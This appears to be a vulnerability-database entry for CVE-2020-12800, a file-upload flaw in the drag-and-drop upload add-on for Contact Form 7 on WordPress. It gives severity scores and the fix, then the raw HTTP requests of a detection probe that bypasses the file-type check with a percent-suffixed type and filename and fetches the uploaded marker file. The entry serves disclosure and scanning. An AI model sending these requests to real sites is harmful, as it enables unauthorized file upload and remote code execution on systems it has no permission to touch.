| Title | WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected WordPress site. |
| Remediation | Update the Contact Form 7 plugin to version 1.3.3.3 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93936 |
| CVE ID | CVE-2020-12800 |
| CWE ID | CWE-434 |
| Tags | cve cve2020 wordpress wp-plugin fileupload wp rce packetstorm intrusive codedropz vkev vuln |
WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Connection: close
Content-Length: 800
Content-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
-----------------------------350278735926454076983690555601
Content-Disposition: form-data; name="supported_type"
txt%
-----------------------------350278735926454076983690555601
Content-Disposition: form-data; name="size_limit"
5242880
-----------------------------350278735926454076983690555601
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
-----------------------------350278735926454076983690555601
Content-Disposition: form-data; name="type"
click
-----------------------------350278735926454076983690555601
Content-Disposition: form-data; name="upload-file"; filename="38FQPBWatoFO5iXPbGTDhnBDL6b.txt%"
Content-Type: application/x-httpd-php
CVE-2020-12800-38FQPBWatoFO5iXPbGTDhnBDL6b
-----------------------------350278735926454076983690555601--
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/38FQPBWatoFO5iXPbGTDhnBDL6b.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12800.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-12800.pcap
N/AN/A